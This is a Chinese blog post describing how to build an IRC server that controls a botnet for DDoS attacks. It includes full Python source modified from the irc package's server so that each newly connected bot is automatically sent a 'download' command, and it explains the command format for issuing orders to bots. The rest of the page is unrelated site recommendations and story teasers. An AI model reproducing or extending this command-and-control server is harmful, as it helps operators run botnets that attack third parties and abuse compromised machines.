搭建 IRC 服務(wù)器

最近在研究怎么基于 IRC 搭建一個(gè)控制 botnet 的服務(wù)器。

IRC(Internet Relay Chat),互聯(lián)網(wǎng)中繼聊天,是一種簡(jiǎn)單的網(wǎng)絡(luò)聊天協(xié)議。在國(guó)外,基于 IRC 的 DDOS 攻擊是一種較為常見的攻擊方式。基本流程如下:

  1. 攻擊者控制一個(gè)或一組 IRC 服務(wù)器,分布在各個(gè)地方的 bot 在上線之后會(huì)自動(dòng)加入攻擊用的頻道,等待攻擊者發(fā)布指令
  2. 攻擊者通過(guò)服務(wù)器發(fā)布指令,收到指令的 bot 執(zhí)行指令

這里的實(shí)現(xiàn)使用的是 Python 的 IRC 包

服務(wù)端的代碼是在 irc/setup.py 的基礎(chǔ)上稍加修改得到的

# -*- coding: utf-8 -*-

#
# Very simple hacky ugly IRCBot server.
#
# Todo:
#   - Encode format for each message and reply with events.codes['needmoreparams']
#   - starting server when already started doesn't work properly. PID file is not changed, no error messsage is displayed.
#   - Delete channel if last user leaves.
#   - [ERROR] <socket.error instance at 0x7f9f203dfb90> (better error msg required)
#   - Empty channels are left behind
#   - No Op assigned when new channel is created.
#   - User can /join multiple times (doesn't add more to channel, does say 'joined')
#   - PING timeouts
#   - Allow all numerical commands.
#   - Users can send commands to channels they are not in (PART)
# Not Todo (Won't be supported)
#   - Server linking.

from __future__ import print_function, absolute_import

import argparse
import logging
import socket
import select
import re

import Queue
import six
import SocketServer
import jaraco.logging
from jaraco.stream import buffer

import irc.client
import irc.events as events

SRV_WELCOME = "Welcome to {__name__} v{irc.client.VERSION}.".format(**locals())

log = logging.getLogger(__name__)


class IRCError(Exception):
    """
    Exception thrown by IRC command handlers to notify client of a
    server/client error.
    """
    def __init__(self, code, value):
        self.code = code
        self.value = value

    def __str__(self):
        return repr(self.value)

    @classmethod
    def from_name(cls, name, value):
        return cls(events.codes[name], value)


class IRCChannel(object):
    """
    An IRC channel.
    """
    def __init__(self, name, topic='No topic'):
        self.name = name
        self.topic_by = 'Unknown'
        self.topic = topic
        self.clients = set()


class IRCClient(SocketServer.BaseRequestHandler):
    """
    IRC client connect and command handling. Client connection is handled by
    the ``handle`` method which sets up a two-way communication with the client.
    It then handles commands sent by the client by dispatching them to the
    handle_ methods.
    """
    class Disconnect(BaseException): pass

    def __init__(self, request, client_address, server):
        self.user = None
        self.host = client_address  # Client's hostname / ip.
        self.realname = None        # Client's real name
        self.nick = None            # Client's currently registered nickname
        self.send_queue = []        # Messages to send to client (strings)
        self.channels = {}          # Channels the client is in

        # On Python 2, use old, clunky syntax to call parent init
        if six.PY2:
            SocketServer.BaseRequestHandler.__init__(self, request,
                client_address, server)
            return

        super().__init__(request, client_address, server)

    def client_ident(self):
        """
        Return the client identifier as included in many command replies.
        """
        return irc.client.NickMask.from_params(self.nick, self.user,
            self.server.servername)

    def handle(self):
        self.buffer = buffer.LineBuffer()
        first = True
        try:
            while True:
                self._handle_one()
                if first == True:
                    # send commands to bots when a bot connects to server
                    log.info('Client connected: %s', self.client_ident())
                    command = ':%s PRIVMSG bot download' % self.client_ident()
                    self.send_queue.append(command)
                    first = False
        except self.Disconnect:
            self.request.close()

    def _handle_one(self):
        """
        Handle one read/write cycle.
        """
        ready_to_read, ready_to_write, in_error = select.select(
            [self.request], [self.request], [self.request], 0)

        if in_error:
            raise self.Disconnect()

        # Write any commands to the client
        while self.send_queue and ready_to_write:
            msg = self.send_queue.pop(0)
            self._send(msg)

        # See if the client has any commands for us.
        if ready_to_read:
            self._handle_incoming()

    def _handle_incoming(self):
        try:
            data = self.request.recv(1024)
        except Exception:
            raise self.Disconnect()

        if not data:
            raise self.Disconnect()

        self.buffer.feed(data)
        for line in self.buffer:
            line = line.decode('utf-8')
            self._handle_line(line)

    def _handle_line(self, line):
        try:
            #log.info('from %s: ' % self.client_ident())
            if line.startswith("msg:"):
                log.info(line)
            else:
                command, sep, params = line.partition(' ')
                handler = getattr(self, 'handle_%s' % command.lower(), None)
                if not handler:
                    _tmpl = 'No handler for command: %s. Full line: %s'
                    log.info(_tmpl % (command, line))
                    raise IRCError.from_name('unknowncommand',
                        '%s :Unknown command' % command)
                response = handler(params)
                if response:
                    self._send(response)
        except AttributeError as e:
            log.error(six.text_type(e))
            raise
        except IRCError as e:
            response = ':%s %s %s' % (self.server.servername, e.code, e.value)
            log.error(response)
        except Exception as e:
            response = ':%s ERROR %r' % (self.server.servername, e)
            log.error(response)
            raise


    def _send(self, msg):
        log.debug('to %s: %s', self.client_ident(), msg)
        self.request.send(msg.encode('utf-8') + b'\r\n')

    def handle_nick(self, params):
        """
        Handle the initial setting of the user's nickname and nick changes.
        """
        nick = params

        # Valid nickname?
        if re.search('[^a-zA-Z0-9\-\[\]\'`^{}_]', nick):
            raise IRCError.from_name('erroneusnickname', ':%s' % nick)

        if self.server.clients.get(nick, None) == self:
            # Already registered to user
            return

        if nick in self.server.clients:
            # Someone else is using the nick
            raise IRCError.from_name('nicknameinuse', 'NICK :%s' % (nick))

        if not self.nick:
            # New connection and nick is available; register and send welcome
            # and MOTD.
            self.nick = nick
            self.server.clients[nick] = self
            response = ':%s %s %s :%s' % (self.server.servername,
                events.codes['welcome'], self.nick, SRV_WELCOME)
            self.send_queue.append(response)
            response = ':%s 376 %s :End of MOTD command.' % (
                self.server.servername, self.nick)
            self.send_queue.append(response)
            return

        # Nick is available. Change the nick.
        message = ':%s NICK :%s' % (self.client_ident(), nick)

        self.server.clients.pop(self.nick)
        self.nick = nick
        self.server.clients[self.nick] = self

        # Send a notification of the nick change to all the clients in the
        # channels the client is in.
        for channel in self.channels.values():
            self._send_to_others(message, channel)

        # Send a notification of the nick change to the client itself
        return message

    def handle_user(self, params):
        """
        Handle the USER command which identifies the user to the server.
        """
        params = params.split(' ', 3)

        if len(params) != 4:
            raise IRCError.from_name('needmoreparams',
                'USER :Not enough parameters')

        user, mode, unused, realname = params
        self.user = user
        self.mode = mode
        self.realname = realname
        return ''

    def handle_ping(self, params):
        """
        Handle client PING requests to keep the connection alive.
        """
        response = ':{self.server.servername} PONG :{self.server.servername}'
        return response.format(**locals())

    def handle_join(self, params):
        """
        Handle the JOINing of a user to a channel. Valid channel names start
        with a # and consist of a-z, A-Z, 0-9 and/or '_'.
        """
        channel_names = params.split(' ', 1)[0] # Ignore keys
        for channel_name in channel_names.split(','):
            r_channel_name = channel_name.strip()

            # Valid channel name?
            if not re.match('^#([a-zA-Z0-9_])+$', r_channel_name):
                raise IRCError.from_name('nosuchchannel',
                    '%s :No such channel' % r_channel_name)

            # Add user to the channel (create new channel if not exists)
            channel = self.server.channels.setdefault(r_channel_name,
                IRCChannel(r_channel_name))
            channel.clients.add(self)

            # Add channel to user's channel list
            self.channels[channel.name] = channel

            # Send the topic
            response_join = ':%s TOPIC %s :%s' % (channel.topic_by,
                channel.name, channel.topic)
            self.send_queue.append(response_join)

            # Send join message to everybody in the channel, including yourself
            # and send user list of the channel back to the user.
            response_join = ':%s JOIN :%s' % (self.client_ident(),
                r_channel_name)
            for client in channel.clients:
                client.send_queue.append(response_join)

            nicks = [client.nick for client in channel.clients]
            _vals = (self.server.servername, self.nick, channel.name,
                ' '.join(nicks))
            response_userlist = ':%s 353 %s = %s :%s' % _vals
            self.send_queue.append(response_userlist)

            _vals = self.server.servername, self.nick, channel.name
            response = ':%s 366 %s %s :End of /NAMES list' % _vals
            self.send_queue.append(response)

    def handle_privmsg(self, params):
        """
        Handle sending a private message to a user or channel.
        """
        target, sep, msg = params.partition(' ')
        if not msg:
            raise IRCError.from_name('needmoreparams',
                'PRIVMSG :Not enough parameters')

        message = ':%s PRIVMSG %s %s' % (self.client_ident(), target, msg)
        if target.startswith('#') or target.startswith('$'):
            # Message to channel. Check if the channel exists.
            channel = self.server.channels.get(target)
            if not channel:
                raise IRCError.from_name('nosuchnick', 'PRIVMSG :%s' % target)

            if not channel.name in self.channels:
                # The user isn't in the channel.
                raise IRCError.from_name('cannotsendtochan',
                    '%s :Cannot send to channel' % channel.name)

            self._send_to_others(message, channel)
        else:
            # Message to user
            client = self.server.clients.get(target, None)
            if not client:
                raise IRCError.from_name('nosuchnick', 'PRIVMSG :%s' % target)

            client.send_queue.append(message)

    def _send_to_others(self, message, channel):
        """
        Send the message to all clients in the specified channel except for
        self.
        """
        other_clients = [client for client in channel.clients
            if not client == self]
        for client in other_clients:
            client.send_queue.append(message)

    def handle_topic(self, params):
        """
        Handle a topic command.
        """
        channel_name, sep, topic = params.partition(' ')

        channel = self.server.channels.get(channel_name)
        if not channel:
            raise IRCError.from_name('nosuchnick', 'PRIVMSG :%s' % channel_name)
        if not channel.name in self.channels:
            # The user isn't in the channel.
            raise IRCError.from_name('cannotsendtochan',
                '%s :Cannot send to channel' % channel.name)

        if topic:
            channel.topic = topic.lstrip(':')
            channel.topic_by = self.nick
        message = ':%s TOPIC %s :%s' % (self.client_ident(), channel_name,
            channel.topic)
        return message

    def handle_part(self, params):
        """
        Handle a client parting from channel(s).
        """
        for pchannel in params.split(','):
            if pchannel.strip() in self.server.channels:
                # Send message to all clients in all channels user is in, and
                # remove the user from the channels.
                channel = self.server.channels.get(pchannel.strip())
                response = ':%s PART :%s' % (self.client_ident(), pchannel)
                if channel:
                    for client in channel.clients:
                        client.send_queue.append(response)
                channel.clients.remove(self)
                self.channels.pop(pchannel)
            else:
                _vars = self.server.servername, pchannel, pchannel
                response = ':%s 403 %s :%s' % _vars
                self.send_queue.append(response)

    def handle_quit(self, params):
        """
        Handle the client breaking off the connection with a QUIT command.
        """
        response = ':%s QUIT :%s' % (self.client_ident(), params.lstrip(':'))
        # Send quit message to all clients in all channels user is in, and
        # remove the user from the channels.
        for channel in self.channels.values():
            for client in channel.clients:
                client.send_queue.append(response)
            channel.clients.remove(self)

    def handle_dump(self, params):
        """
        Dump internal server information for debugging purposes.
        """
        print("Clients:", self.server.clients)
        for client in self.server.clients.values():
            print(" ", client)
            for channel in client.channels.values():
                print("     ", channel.name)
        print("Channels:", self.server.channels)
        for channel in self.server.channels.values():
            print(" ", channel.name, channel)
            for client in channel.clients:
                print("     ", client.nick, client)

    def finish(self):
        """
        The client conection is finished. Do some cleanup to ensure that the
        client doesn't linger around in any channel or the client list, in case
        the client didn't properly close the connection with PART and QUIT.
        """
        log.info('Client disconnected: %s', self.client_ident())
        response = ':%s QUIT :EOF from client' % self.client_ident()
        for channel in self.channels.values():
            if self in channel.clients:
                # Client is gone without properly QUITing or PARTing this
                # channel.
                for client in channel.clients:
                    client.send_queue.append(response)
                channel.clients.remove(self)
        if self.nick:
            self.server.clients.pop(self.nick)
        log.info('Connection finished: %s', self.client_ident())

    def __repr__(self):
        """
        Return a user-readable description of the client
        """
        return '<%s %s!%s@%s (%s)>' % (
            self.__class__.__name__,
            self.nick,
            self.user,
            self.host[0],
            self.realname,
            )


class IRCServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
    daemon_threads = True
    allow_reuse_address = True

    channels = {}
    "Existing channels (IRCChannel instances) by channel name"

    clients = {}
    "Connected clients (IRCClient instances) by nick name"

    def __init__(self, *args, **kwargs):
        self.servername = 'localhost'
        self.channels = {}
        self.clients = {}

        if six.PY2:
            SocketServer.TCPServer.__init__(self, *args, **kwargs)
            return

        super().__init__(*args, **kwargs)


def get_args():
    parser = argparse.ArgumentParser()

    parser.add_argument("-a", "--address", dest="listen_address",
        default='127.0.0.1', help="IP on which to listen")
    parser.add_argument("-p", "--port", dest="listen_port", default=6667,
        type=int, help="Port on which to listen")
    jaraco.logging.add_arguments(parser)

    return parser.parse_args()


def main():
    options = get_args()
    jaraco.logging.setup(options)

    log.info("Starting irc.server")

    try:
        bind_address = options.listen_address, options.listen_port
        ircserver = IRCServer(bind_address, IRCClient)
        _tmpl = 'Listening on {listen_address}:{listen_port}'
        log.info(_tmpl.format(**vars(options)))
        ircserver.serve_forever()
    except socket.error as e:
        log.error(repr(e))
        raise SystemExit(-2)


if __name__ == "__main__":
    main()

服務(wù)器采用的 Reactor 模式,服務(wù)器開始運(yùn)行后,開始監(jiān)聽客戶端的連接信息,

Paste_Image.png

服務(wù)器的工作流程是這樣的:
當(dāng)有一個(gè)客戶端連接時(shí),將會(huì)觸發(fā)回調(diào)函數(shù) handle,在 handle 函數(shù)里又不斷地調(diào)用 _handle_one 函數(shù),當(dāng)收到客戶端發(fā)來(lái)的消息時(shí),調(diào)用 _handle_incoming 處理,并通過(guò) _send 函數(shù)發(fā)送消息給客戶端

這里使用的命令格式是:[nickname] PRIVMSG [target] [command]

可惜官方的文檔做的太爛了,這么點(diǎn)東西研究了我好久,智商是硬傷。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 229,908評(píng)論 6 541
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 99,324評(píng)論 3 429
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái),“玉大人,你說(shuō)我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 178,018評(píng)論 0 383
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)。 經(jīng)常有香客問(wèn)我,道長(zhǎng),這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 63,675評(píng)論 1 317
  • 正文 為了忘掉前任,我火速辦了婚禮,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 72,417評(píng)論 6 412
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 55,783評(píng)論 1 329
  • 那天,我揣著相機(jī)與錄音,去河邊找鬼。 笑死,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,779評(píng)論 3 446
  • 文/蒼蘭香墨 我猛地睜開眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 42,960評(píng)論 0 290
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 49,522評(píng)論 1 335
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 41,267評(píng)論 3 358
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 43,471評(píng)論 1 374
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 39,009評(píng)論 5 363
  • 正文 年R本政府宣布,位于F島的核電站,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 44,698評(píng)論 3 348
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 35,099評(píng)論 0 28
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 36,386評(píng)論 1 294
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 52,204評(píng)論 3 398
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 48,436評(píng)論 2 378

推薦閱讀更多精彩內(nèi)容

  • Spring Cloud為開發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見模式的工具(例如配置管理,服務(wù)發(fā)現(xiàn),斷路器,智...
    卡卡羅2017閱讀 134,823評(píng)論 18 139
  • 一、介紹 qqbot 是一個(gè)用 python 實(shí)現(xiàn)的、基于騰訊 SmartQQ 協(xié)議的 QQ 機(jī)器人框架,可運(yùn)行在...
    ysai閱讀 2,850評(píng)論 2 50
  • 謝謝你是我朋友圈的讀者! 雖然我們交流不多, 雖然我們只是會(huì)心一笑, 雖然我們只是彼此點(diǎn)個(gè)贊…… 但我知道你是我的...
    自由飛翔的我閱讀 206評(píng)論 0 0
  • 今天跟孩子們上繪本課,繪本內(nèi)容是《等一會(huì)兒,聰聰》。故事很簡(jiǎn)單,聰聰是個(gè)小男生,爸爸媽媽在家都很忙,回應(yīng)聰聰?shù)闹挥?..
    心理咨詢師牛妞閱讀 540評(píng)論 0 0
  • 今天上午開始跑市場(chǎng)了,第一段文飛、段文龍一家,他們的結(jié)果是愿意先來(lái)一個(gè)5000元以下的貨物過(guò)來(lái)看一看,向他目前的客...
    5fa8e1d7cb75閱讀 159評(píng)論 0 0